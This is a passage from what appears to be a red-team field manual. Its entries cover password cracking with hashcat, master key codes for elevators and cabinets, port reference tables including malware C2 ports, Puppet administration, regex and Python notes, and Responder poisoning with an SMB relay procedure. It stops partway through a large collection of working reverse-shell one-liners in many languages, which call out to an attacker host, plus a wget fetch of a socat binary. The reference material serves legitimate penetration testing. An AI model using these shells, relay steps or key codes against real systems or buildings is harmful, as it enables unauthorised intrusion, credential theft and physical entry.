hashcat -a 7 -m 0 -w 4 hash.txt rockyou-1-60.hcmask custom_list.txt
11-CUSTOM MASK ATTACK
By now the easier, weaker passwords may have fallen to cracking,
but still some remain. Using PACK (on pg.51) create custom mask
attacks based on your currently cracked passwords. Be sure to sort
out masks that match the previous rockyou-1-60.hcmask list.
hashcat -a 3 -m 0 -w 4 hash.txt custom_masks.hcmask
12-BRUTE-FORCE
When all else fails begin a standard brute-force attack, being
selective as to how large a keyspace your rig can adequately brute-
force. Above 8 characters is usually pointless due to hardware
limitations and password entropy/complexity.
hashcat -a 3 -m 0 -w 4 hash.txt -i ?a?a?a?a?a?a?a?a
P
P
PHYSICAL ENTRY_Keys
RED TEAM
PHYSICAL
N/A
Common master keys for physical security locks.
251
ELEVATOR MASTER KEYS
KEY
ELEVATOR
DESCRIPTION
FEO-K1
Universal
This is the most common and
universal key for Fire Service
EPCO1/EN1 Universal
Common Fire Service key,
sometimes used on Schindler
elevators
Yale 3502 New York
Fire Service master key for
every elevator in New York
Yale 2642 New York
Old Fire Service master key for
every elevator in New York
BGM30
OTIS
Opens the panels for OTIS
elevators
UTF
OTIS
Fire Service master key for
OTIS elevators
UTA
OTIS
Independent Service, fan,
light, cabinet for OTIS
elevators
UTH
OTIS
Floor lockout, inspection,
access for OTIS elevators
501CH
Schindler
Fire Service master key for
Schindler elevators
J200
Monitor/Janus
Independent Service, fan,
light, cabinet for Monitor
fixtures
J217
Monitor/Janus
Fire Service master key for
Monitor fixtures
EX513
Innovation
Independent Service, fan,
light, cabinet for Innovation
elevators
EX515
Innovation
Fire Service master key for
Innovation elevators
KONE3
KONE
Fire Service master key for
KONE elevators
Available:
https://www.elevatorkeys.com/
https://www.ultimatesecuritydevices.com/
https://www.sparrowslockpicks.com/product_p/ekey.htm
https://ebay.com/
COMMON KEYS
KEY
DESCRIPTION
Linear 222343
Master key for Linear intercom system
252
DoorKing 16120
Master key for DoorKing intercom system
CH751
Extremely common cabinet key
C415A
Extremely Common cabinet key
C413A
Common cabinet key
C420A
Common cabinet key
C642A
Common cabinet key
C346A
Common cabinet key
C390A
Common cabinet key
EK333
Common server cabinet key
Ilco CC1
Common golf cart key
REFERENCE:
https://0xsp.com/offensive/red-teaming-toolkit-collection
https://scund00r.com/all/gear/2019/06/25/red-team-and-physical-entry-
gear.html
P
P
PORTS_Top1000
ALL
INFORMATIONAL
ALL
Top 1000 most common ports/services.
Port
Service
Port
Service
7
tcp echo
1022
udp exp2
7
udp echo
1025
tcp NFS/IIS
9
tcp discard
1025
udp blackjack
9
udp discard
1026
tcp LSA/nterm
13
tcp daytime
1026
udp win-rpc
17
udp qotd
1027
tcp IIS
19
udp chargen
1028
udp ms-lsa
21
tcp ftp
1029
tcp ms-lsa
22
tcp ssh
1029
udp solid-mux
23
tcp telnet
1030
udp iad1
25
tcp smtp
1110
tcp nfsd-status
26
tcp rsftp
1433
tcp ms-sql-s
37
tcp time
1433
udp ms-sql-s
49
udp tacacs
1434
udp ms-sql-m
53
tcp dns
1645
udp radius
53
udp dns
1646
udp radacct
67
udp dhcps
1701
udp L2TP
68
udp dhcpc
1718
udp h225gatedisc
69
udp tftp
1719
udp h323gatestat
79
tcp finger
1720
tcp h323q931
80
tcp http
1723
tcp pptp
80
udp http
1755
tcp wms
81
tcp hosts2-ns
1812
udp radius
253
88
tcp kerberos-sec
1813
udp radacct
88
udp kerberos-sec
1900
tcp upnp
106
tcp pop3pw
1900
udp upnp
110
tcp pop3
2000
tcp cisco-sccp
111
tcp rpcbind
2000
udp cisco-sccp
111
udp rpcbind
2001
tcp dc
113
tcp ident
2048
udp dls-monitor
119
tcp nntp
2049
tcp nfs
120
udp cfdptkt
2049
udp nfs
123
udp ntp
2121
tcp ccproxy-ftp
135
tcp msrpc
2222
udp msantipiracy
135
udp msrpc
2223
udp rockwell-csp2
136
udp profile
2717
tcp pn-requester
137
udp netbios-ns
3000
tcp ppp
138
udp netbios-dgm
3128
tcp squid-http
139
tcp netbios-ssn
3283
udp netassistant
139
udp netbios-ssn
3306
tcp mysql
143
tcp imap
3389
tcp ms-wbt-server
144
tcp news
3456
udp IISrpc/vat
158
udp pcmail-srv
3703
udp adobeserver-3
161
udp snmp
3986
tcp mapper-ws_ethd
162
udp snmptrap
4444
udp krb524
177
udp xdmcp
4500
udp nat-t-ike
179
tcp bgp
4899
tcp radmin
199
tcp smux
5000
tcp upnp
389
tcp ldap
5000
udp upnp
427
tcp svrloc
5009
tcp airport-admin
427
udp svrloc
5051
tcp ida-agent
443
tcp https
5060
tcp sip
443
udp https
5060
udp sip
444
tcp snpp
5101
tcp admdog
445
tcp microsoft-ds
5190
tcp aol
445
udp microsoft-ds
5353
udp zeroconf
465
tcp smtps
5357
tcp wsdapi
497
udp retrospect
5432
tcp postgresql
500
udp isakmp
5631
tcp pcanywheredata
513
tcp login
5632
udp pcanywherestat
514
tcp shell
5666
tcp nrpe
514
udp syslog
5800
tcp vnc-http
515
tcp printer
5900
tcp vnc
515
udp printer
6000
tcp X11
518
udp ntalk
6001
tcp X11-1
520
udp route
7070
tcp realserver
543
tcp klogin
8000
tcp alt-http
544
tcp kshell
8008
tcp http
548
tcp afp
8009
tcp ajp13
554
tcp rtsp
8080
tcp http-proxy
587
tcp message sub
8081
tcp blackice-icecap
254
593
udp rpc-epmap
8443
tcp alt-https
623
udp asf-rmcp
8888
tcp sun-answerbook
626
udp serialnumberd 8888
tcp sun-answerbook
631
tcp ipp
9100
tcp jetdirect
631
udp ipp
9200
udp wap-wsp
646
tcp ldp
9999
tcp abyss
873
tcp rsync
10000 udp ndmp
990
tcp ftps
10000 tcp snet-sensor-mgmt
993
tcp imaps
17185 udp wdbrpc
995
tcp pop3s
20031 udp bakbonenetvault
996
udp vsinet
31337 udp BackOrifice
997
udp maitrd
32768 tcp filenet-tms
998
udp puparp
32768 udp omad
999
udp applix
32769 udp filenet-rpc
P
P
PORTS_ICS/SCADA
ALL
INFORMATIONAL
ALL
Ports for common ICS/SCADA hardware.
Port
Protocol
Vendor
502
TCP
Modbus TCP
1089
TCP:UDP
Foundation Fieldbus HSE
1090
TCP:UDP
Foundation Fieldbus HSE
1091
TCP:UDP
Foundation Fieldbus HSE
1541
TCP:UDP
Foxboro/Invensys Foxboro DCS Informix
2222
UDP
EtherNet/IP
3480
TCP
OPC UA Discovery Server
4000
TCP:UDP
Emerson/Fisher ROC Plus
5050-5051
UDP
Telvent OASyS DNA
5052
TCP
Telvent OASyS DNA
5065
TCP
Telvent OASyS DNA
5450
TCP
OSIsoft PI Server
10307
TCP
ABB Ranger 2003
10311
TCP
ABB Ranger 2003
10364-10365
TCP
ABB Ranger 2003
10407
TCP
ABB Ranger 2003
10409-10410
TCP
ABB Ranger 2003
10412
TCP
ABB Ranger 2003
10414-10415
TCP
ABB Ranger 2003
10428
TCP
ABB Ranger 2003
10431-10432
TCP
ABB Ranger 2003
10447
TCP
ABB Ranger 2003
10449-10450
TCP
ABB Ranger 2003
12316
TCP
ABB Ranger 2003
12645
TCP
ABB Ranger 2003
255
12647-12648
TCP
ABB Ranger 2003
13722
TCP
ABB Ranger 2003
11001
TCP:UDP
Johnson Controls Metasys N1
12135-12137
TCP
Telvent OASyS DNA
13724
TCP
ABB Ranger 2003
13782-13783
TCP
ABB Ranger 2003
18000
TCP
Iconic Genesis32 GenBroker (TCP)
20000
TCP:UDP
DNP3
34962
TCP:UDP
PROFINET
34963
TCP:UDP
PROFINET
34964
TCP:UDP
PROFINET
34980
UDP
EtherCAT
38589
TCP
ABB Ranger 2003
38593
TCP
ABB Ranger 2003
38000-38001
TCP
SNC GENe
38011-38012
TCP
SNC GENe
38014-38015
TCP
SNC GENe
38200
TCP
SNC GENe
38210
TCP
SNC GENe
38301
TCP
SNC GENe
38400
TCP
SNC GENe
38600
TCP
ABB Ranger 2003
38700
TCP
SNC GENe
38971
TCP
ABB Ranger 2003
39129
TCP
ABB Ranger 2003
39278
TCP
ABB Ranger 2003
44818
TCP:UDP
EtherNet/IP
45678
TCP:UDP
Foxboro/Invensys Foxboro DCS AIMAPI
47808
UDP
BACnet/IP
50001-50016
TCP
Siemens Spectrum Power TG
50018-50020
TCP
Siemens Spectrum Power TG
50020-50021
UDP
Siemens Spectrum Power TG
50025-50028
TCP
Siemens Spectrum Power TG
50110-50111
TCP
Siemens Spectrum Power TG
55000-55002
UDP
FL-net Reception
55003
UDP
FL-net Transmission
55555
TCP:UDP
Foxboor/Invensys Foxboro DCS FoxAPI
56001-56099
TCP
Telvent OASyS DNA
62900
TCP
SNC GENe
62911
TCP
SNC GENe
62924
TCP
SNC GENe
62930
TCP
SNC GENe
62938
TCP
SNC GENe
62956-62957
TCP
SNC GENe
62963
TCP
SNC GENe
62981-62982
TCP
SNC GENe
62985
TCP
SNC GENe
62992
TCP
SNC GENe
256
63012
TCP
SNC GENe
63027-63036
TCP
SNC GENe
63041
TCP
SNC GENe
63075
TCP
SNC GENe
63079
TCP
SNC GENe
63082
TCP
SNC GENe
63088
TCP
SNC GENe
63094
TCP
SNC GENe
65443
TCP
SNC GENe
P
P
PORTS_Malware C2
BLUE TEAM
THREAT HUNT
ALL
Ports malware/C2 have been observed communicating.
Port
Actor/Family
21
Blade Runner Doly Trojan Fore
Invisible FTP WebEx WinCrash
23
Tiny Telnet Server
25
Antigen Email Password Sender Haebu
Coceda Shtrilitz Stealth Terminator
WinPC WinSpy Kuang2.0
31
Hackers Paradise
80
Executor
127
TYPEFRAME
456
Hackers Paradise
465
Zebrocy
555
Ini-Killer Phase Zero Stealth Spy
587
AgentTesla
587
Cannon
666
Satanz Backdoor
995
RedLeaves
1001
Silencer WebEx
1011
Doly Trojan
1058
Bankshot
1170
Psyber Stream Server Voice
1234
Ultors Trojan
1243
SubSeven 1.0 – 1.8
1245
VooDoo Doll
1349
Back Ofrice DLL
1492
FTP99CMP
1600
Shivka-Burka
1807
SpySender
1981
Shockrave
1999
BackDoor 1.00-1.03
2001
Trojan Cow
2023
Ripper
257
2115
Bugs
2140
Deep Throat The Invasor
2801
Phineas Phucker
3024
WinCrash
3129
Masters Paradise
3150
Deep Throat The Invasor
3333
RevengeRAT
3700
Portal of Doom
3728
MobileOrder
4092
WinCrash
4567
File Nail 1
4590
ICQTrojan
5000
Bubbel
5001
Sockets de Troie
5321
Firehotcker
5400
Blade Runner 0.80 Alpha
5400
Blade Runner
5401
Blade Runner 0.80 Alpha
5401
Blade Runner
5402
Blade Runner 0.80 Alpha
5402
Blade Runner
5569
Robo-Hack
5742
WinCrash
6666
GorgonGroup
6670
DeepThroat
6771
DeepThroat
6969
GateCrasher Priority
7000
Remote Grab
7300
NetMonitor
7301
NetMonitor
7306
NetMonitor
7307
NetMonitor
7308
NetMonitor
7789
ICKiller
8088
Volgmer
8787
BackOfrice 2000
9872
Portal of Doom
9873
Portal of Doom
9874
Portal of Doom
9875
Portal of Doom
9989
iNi-Killer
10067
Portal of Doom
10167
Portal of Doom
10607
Coma 1.0.9
11000
Senna Spy
11223
Progenic trojan
12223
Hack´99 KeyLogger
12345
GabanBus NetBus
258
12346
GabanBus NetBus
12361
Whack-a-mole
12362
Whack-a-mole
13000
Remsec
14146
APT32
16969
Priority
20001
Millennium
20034
NetBus 2.0 Beta-NetBus 2.01
21544
GirlFriend 1.0 Beta-1.35
22222
Prosiak
23456
Evil FTP Ugly FTP
26274
Delta
30100
NetSphere 1.27a
30101
NetSphere 1.27a
30102
NetSphere 1.27a
31337
Back Orifice
31337
BackOfrice 1.20
31338
Back Orifice DeepBO
31338
DeepBO
31339
NetSpy DK
31666
BOWhack
33333
Prosiak
34324
BigGluck TN
40412
The Spy
40421
Masters Paradise
40422
Masters Paradise
40423
Masters Paradise
40426
Masters Paradise
46769
GravityRAT
47262
Delta
50505
Sockets de Troie
50766
Fore
53001
Remote Windows Shutdown
54321
SchoolBus .69-1.11
54321
BackOfrice 2000
61061
HiddenWasp
61466
Telecommando
65000
Devil
1177:8282
njRAT
1913:81
APT3
1985:1986
ZxShell
2280:1339
CoinTicker
4443:3543
MagicHound
4444:8531:50501
TEMP.Veles
447:449:8082
TrickBot
52100:5876
InnaputRAT
6666:4782
NanoCore
6868:7777
PoisonIvy
259
7080:50000
Emotet
8060:8888
POWERSTATS
808:880
APT33
8081:8282:8083
Group5
995:1816:465:1521:3306 LazarusGroup
REFERENCE:
https://github.com/ITI/ICS-Security-Tools/blob/master/protocols/PORTS.md
https://www.pcsecurityworld.com/75/common-trojan-ports.html
https://attack.mitre.org/techniques/T1065/
P
P
PUPPET
RED/BLUE TEAM
ADMINISTRATION
DEVOPS
Puppet is an open source software configuration management and
deployment tool.
Managing Puppet Services:
service puppetserver start
start puppet server
service
chkconfig puppetserver on
enable puppet server
service on boot
service start puppet
start puppet agent service
chkconfig puppet on
enable puppet agent
service on boot
Managing Certificates (Master):
puppet cert list
lists available nodes to
sign
puppet cert list --all
lists all signed nodes
puppet cert sign <name>
manually sign specific
node
puppet cert sign --all
sign all nodes
puppet cert clean <name>
removes cert
Managing Nodes (Master):
puppet node clean <name>
removes node + cert
Managing Modules (Master):
puppet module list
lists current installed
modules
puppet module install <name>
downloads/installs modules
from
http://forge.puppetlabs.co
m
puppet module uninstall <name>
removes/deletes module
puppet module upgrade <name>
upgrades to new version of
module
260
puppet module search <name>
search modules from
http://forge.puppetlabs.co
m
Managing Puppet Agent Master/Node:
puppet agent --test
run puppet agent on demand
puppet agent --disable
disabled puppet agent
puppet agent --enable
enable puppet agent
puppet agent --configprint config
print location of puppet
agent configuration file
puppet agent -t --noop
see what puppet is going
to change without making
the changes
puppet agent -t --noop
/path/to/puppetcode.pp
see what puppet is going
to change for a paticular
module
puppet agent --configprint
runinterval
check runtime interval
Configuring Puppet
Setup Auto Cert Sign on Puppet
Master (Master):
vi
/etc/puppetlabs/puppet/autosign.con
f
*.<DOMAIN>
your domain name
"example.com"
Changing Puppet Agent Run Interval
(Master/Node):
vi
/etc/puppetlabs/puppet/puppet.conf
[agent]
runinterval = 1800
default is every 30minutes
(1800 seconds)
Changing Puppet Agent
Environment(Master/Node):
vi
/etc/puppetlabs/puppet/puppet.conf
[main]
environment = <ENVIRONMENT> default is "production"
Changing Puppet Agent Default
Puppet Master Server(Master/Node):
vi
/etc/puppetlabs/puppet/puppet.conf
[main]
server = <PUPPET_SERVER> default is "puppet"
Troubleshooting
Connection To The Puppet Master:
ping <IP>
make sure puppet master is
reachable via IP first
261
ping puppet
make sure short domain
name can reach the puppet
master
ping puppet.example.com
makesure FQDN can reach
the puppet master
vi /etc/hosts
check that both FQDN /
Short Domain name are
entered on client side DNS
nslookup puppet.example.com
if using DNS Server Side
then check if you can
reach the nameservers +
name
vi /etc/resolv.conf
if using DNS Server Side
check dns configuration is
correct
service network restart
restart connection check
if any errors
vi
/etc/puppetlabs/puppet/puppet.conf
if using a custom puppet
server check config to see
if configured correctly to
non default server
telnet puppet.example.com 8140
test connection to puppet
server for port 8140
date -R
if time is out of sync
get it in sync with the
puppet master
SSL Regeneration:
puppet cert clean node.example.com
clean node (Master)
rm -rf $(puppet agent --configprint
ssldir)
remove SSL certificate
(Node)
puppet agent --test
run puppet agent (Node)
REFERENCE:
https://github.com/dsavell/puppet-cheat-sheet
P
P
PYTHON
ALL
INFORMATONAL
N/A
#Basic Script Template
#!/usr/bin/env python3
#
# Usage: .py
#
from collections import namedtuple
from dataclasses import make_dataclass
262
from enum import Enum
from sys import argv
import re
def main():
pass
###
## UTIL
#
def read_file(filename):
with open(filename, encoding='utf-8') as file:
return file.readlines()
if __name__ == '__main__':
main()
File Operations
#Read a file line by line into a list. If you want the \n included:
with open(fname) as f:
content = f.readlines()
#If you do not want 'new lines' included:
with open(fname) as f:
content = f.read().splitlines()
Move file to the dist_dir folder
os.rename(<filname>, dist_dir + os.path.sep + <filename>)
Get working directory
PWD = os.getcwd()
Write file
RESOURCE = "filename.txt"
fd = open(RESOURCE, 'w')
fd.write("first line\n")
fd.close()
Parsing Arguments
parser = argparse.ArgumentParser()
parser.add_argument("-p", dest="payload", help=payloads,
required=True)
parser.add_argument("-i", dest="interface", help="use interface -
default: eth0", default="eth0")
263
args = parser.parse_args()
payload_type = args.payload
REFERENCE:
https://github.com/siyuanzhao/python3-in-one-pic
https://github.com/coodict/python3-in-one-pic
https://github.com/coreb1t/awesome-pentest-cheat-
sheets/blob/master/docs/python-snippets.md
https://github.com/gto76/python-cheatsheet
https://gto76.github.io/python-cheatsheet/
R
R
R
REGEX
ALL
INFORMATIONAL
N/A
ANCHOR
DESCRIP
EXAMPLE
VALID
INVALID
^
start of
string
or line
^foam
foam
bath foam
\A
start of
string
in any
match
mode
\Afoam
foam
bath foam
$
end of
string
or line
finish$
finish
finnish
264
\Z
end of
string,
or char
before
last new
line in
any
match
mode
finish\Z
finish
finnish
\z
end of
string,
in any
match
mode.
\G
end of
the
previous
match or
the
start of
the
string
for the
first
match
^(get|set)|\G\
w+$
setValue
seValue
\b
word
boundary
;
position
between
a word
characte
r (\w),
and a
nonword
characte
r (\W)
\bis\b
This
island
is
beautifu
l
This
island
isn't
beautiful
\B
not-
word-
boundary
.
\Bland
island
peninsula
ASSERTION
DESCRIP
EXAMPLE
VALID
INVALID
(?=...)
positive
lookahea
d
question(?=s)
question
s
question
(?!...)
negative
lookahea
d
answer(?!s)
answer
answers
(?<=...)
positive
look-
behind
(?<=appl)e
apple
applicati
on
265
(?<!...)
negative
look-
behind
(?<!goo)d
mood
good
CHAR CLASS
DESCRIP
EXAMPLE
VALID
INVALID
[ ]
class
definiti
on
[axf]
a, x, f
b
[ - ]
class
definiti
on range
[a-c]
a, b, c
d
[ \ ]
escape
inside
class
[a-f.]
a, b, .
g
[^ ]
Not in
class
[^abc]
d, e
a
[:class:]
POSIX
class
[:alpha:]
string
0101
.
match
any
chars
except
new line
b.ttle
battle,
bottle
bttle
\s
white
space,
[\n\r\f\
t ]
good\smorning
good
morning
good.morn
ing
\S
no-white
space,
[^\n\r\f
\t]
good\Smorning
goodmorn
ing
good
morning
\d
digit
\d{2}
23
1a
\D
non-
digit
\D{3}
foo, bar
fo1
\w
word,
[a-z-A-
Z0-9_]
\w{4}
v411
v4.1
\W
non
word,
[^a-z-A-
Z0-9_]
.$%?
.$%?
.ab?
SEQUENCE
DESCRIP
EXAMPLE
VALID
INVALID
|
alternat
ion
apple|orange
apple,
orange
melon
( )
subpatte
rn
foot(er|ball)
footer
or
footbal
footpath
(?P<name>...)
subpatte
rn, and
capture
submatch
(?P<greeting>h
ello)
hello
hallo
266
into
name
(?:...)
subpatte
rn, but
does not
capture
submatch
(?:hello)
hello
hallo
+
one or
more
quantifi
er
ye+ah
yeah,
yeeeah
yah
*
zero or
more
quantifi
er
ye*ah
yeeah,
yeeeah,
yah
yeh
?
zero or
one
quantifi
er
yes?
yes, ye
yess
??
zero or
one, as
few
times as
possible
(lazy)
yea??h
yeah
yeaah
+?
one or
more
lazy
/<.+?>/g
<P>foo</
P>
matches
only <P>
and </P>
*?
zero or
more,
lazy
/<.*?>/g
<html>
{n}
n times
exactly
fo{2}
foo
fooo
{n,m}
from n
to m
times
go{2,3}d
good,goo
od
gooood
{n,}
at least
n times
go{2,}
goo,
gooo
go
(?(condition)..
.)
if-then
pattern
(<)?[p](?(1)>)
<p>, p
<p
(?(condition)..
.|...)
if-then-
else
pattern
`^(?(?=q)que
ans)`
question,
answer
SPECIAL CHAR
DESCRIPTION
|general escape
\n
new line
\r
carriage return
267
\t
tab
\v
vertical tab
\f
form feed
\a
alarm
[\b]
backspace
\e
escape
\cchar
Ctrl + char(ie:\cc is Ctrl+c)
\ooo
three digit octal (ie: \123)
\xhh
one or two digit hexadecimal (ie:
\x10)
\x{hex}
any hexadecimal code (ie: \x{1234})
\p{xx}
char with unicode property (ie:
\p{Arabic}
\P{xx}
char without unicode property
PATTERN MOD
DESCRIPTION
g
global match
i
case-insensitiv, match both
uppercase and lowercase
m
multiple lines
s
single line (by default)
x
ingore whitespace allows comments
A
anchored, the pattern is forced to
^
D
dollar end only, a dollar
metacharacter matches only at the
end
S
extra analysis performed, useful
for non-anchored patterns
U
ungreedy, greedy patterns becomes
lazy by default
X
additional functionality of PCRE
(PCRE extra)
J
allow duplicate names for
subpatterns
u
unicode, pattern and subject
strings are treated as UTF-8
REFERENCE:
https://github.com/niklongstone/regular-expression-cheat-sheet
https://ihateregex.io/
R
R
RESPONDER
RED TEAM
ESCALATE PRIV
ALL
Responder is an LLMNR, NBT-NS and MDNS poisoner and will answer to
specific NBT-NS queries on the network based on their name suffix.
268
Responder listens on ports: UDP 53,137,138,389,1434 TCP
21,25,80,110,139,389,445,587,1433,3128,3141 and Multicast UDP 5553.
python Responder.py -I <interface>
EXAMPLE HASHES
(NTLMv1 SSP Enabled Hash Example)
hashcat::admin-
5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905
962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
(NTLMv1 No-SSP Hash Example)
hashcat::admin-
5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E
35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
(NTLMv2 Hash Example)
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6
:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e000000
0052920b85f78d013c31cdb3b92f5d765c783030
Responder.conf – location for modifying various Responder
configuration settings
Target a specific IP address on the network and limit possible
network disruptions edit:
Responder.conf file value “RespondTo”
Add the range 10.X.X.1-10 or host 10.X.X.2 you.
Target a particular NBTS-NS/LLMNR name edit:
Responder.conf file value “RespondToName” to a targeted spoof
hostname e.g, SQLSERVER-01, FILESHARE02,…
Use analyze mode ‘–A’ when trying to gauge how noisy the target IP
space may be in order to watch requests:
python Responder.py -I <interface> -A
MULTI-RELAY w/ RESPONDER
STEP 1: Disable HTTP & SMB servers by editing the Responder.conf
file.
STEP 2: RunFinger.py to check if host has SMB Signing: False
RunFinger.py is located in the tools directory. this script allows
you to verify if SMB Signing: False. SMB Signing being disabled is
crucial for this relay attack, otherwise the target for relaying
isn’t vulnerable to this attack.
python RunFinger.py –i 10.X.X.0/24
269
STEP 3: Start Responder.py
python Responder.py –I <interface>
STEP 4: Start Mult-Relay tool to route captured hashes to our
Target IP. Caveat is that the user “-u” target must be a local
administrator on the host.
python MultiRelay.py –t <Target IP> -u ALL
**MacOS/ OSX Responder must be started with an IP address for the -
i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX
for custom interface binding. Using -i en1 will not work.
Be sure to run the following commands as root to unload these
possible running services and limit conflicts:
launchctl unload
/System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
launchctl unload
/System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
launchctl unload
/System/Library/LaunchDaemons/com.apple.netbiosd.plist
REFERENCE:
https://github.com/lgandx/Responder
R
R
REVERSE SHELLS
RED TEAM
C2
WINDOWS/LINUX/MacOS
Various methods to establish a reverse shell on target host.
AWK
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf
"shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0)
print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
/dev/null
BASH TCP
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
BASH UDP
Victim:
sh -i >& /dev/udp/10.0.0.1/4242 0>&1
Listener:
270
nc -u -lvp 4242
SOCAT
user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -
li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
user@victim$ wget -q https://github.com/andrew-d/static-
binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat;
chmod +x /tmp/socat; /tmp/socat exec:'bash -
li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242
PERL
perl -e 'use
Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotob
yname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STD
IN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -
i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new
IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~-
>fdopen($c,w);system$_ while<>;'
**Windows ONLY
perl -MIO -e '$c=new
IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~-
>fdopen($c,w);system$_ while<>;'
PYTHON
**Linux ONLY
IPv4
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import
sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),i
nt(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in
(0,1,2)];pty.spawn("/bin/sh")'
IPv4
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STR
EAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("/bin/bash")'
IPv6
python -c 'import
socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOC
271
K_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.filen
o(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STR
EAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
**Windows ONLY
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib:
[[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(),
[[(p2s_thread.start(), (lambda __out: (lambda __ctx:
[__ctx.__enter__(), __ctx.__exit__(None, None, None),
__out[0](lambda: None)][2])(__contextlib.nested(type('except', (),
{'__enter__': lambda self: None, '__exit__': lambda __self,
__exctype, __value, __traceback: __exctype is not None and
(issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in
[((s.close(), lambda after: after())[1])]][0])})(), type('try', (),
{'__enter__': lambda self: None, '__exit__': lambda __self,
__exctype, __value, __traceback: [False for __out[0] in
[((p.wait(), (lambda __after:
__after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in
[(True)]][0] for __g['p2s_thread'] in
[(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for
s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in
[(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in
[(subprocess.Popen(['\\windows\\system32\\cmd.exe'],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
stdin=subprocess.PIPE))]][0])[1] for __g['s'] in
[(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for
__g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda
__after: __y(lambda __this: lambda:
(__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else
__after())())(lambda: None) for __l['s'], __l['p'] in [(s,
p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda
s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda:
[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1]
if (len(__l['data']) > 0) else __after())(lambda: __this()) for
__l['data'] in [(__l['s'].recv(1024))]][0] if True else
__after())())(lambda: None) for __l['s'], __l['p'] in [(s,
p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g,
__g))]][0] for __g['socket'] in [(__import__('socket', __g,
__g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g,
__g))]][0] for __g['threading'] in [(__import__('threading', __g,
__g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda:
y(y)()))), globals(), __import__('contextlib'))"
PHP
272
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3
2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -
i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
RUBY
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec
sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if
fork;c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(
cmd,"r"){|io|c.print io.read}end'
**Windows ONLY
ruby -rsocket -e
'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,
"r"){|io|c.print io.read}end'
GOLANG
echo 'package main;import"os/exec";import"net";func
main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin
/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go
&& go run /tmp/t.go && rm /tmp/t.go
NETCAT Traditional
nc -e /bin/sh 10.0.0.1 4242
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242
NETCAT OpenBsd
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242
>/tmp/f
NCAT
ncat 10.0.0.1 4242 -e /bin/bash
ncat --udp 10.0.0.1 4242 -e /bin/bash
OPENSSL
ATTACKER:
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -
out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -
port 4242
or
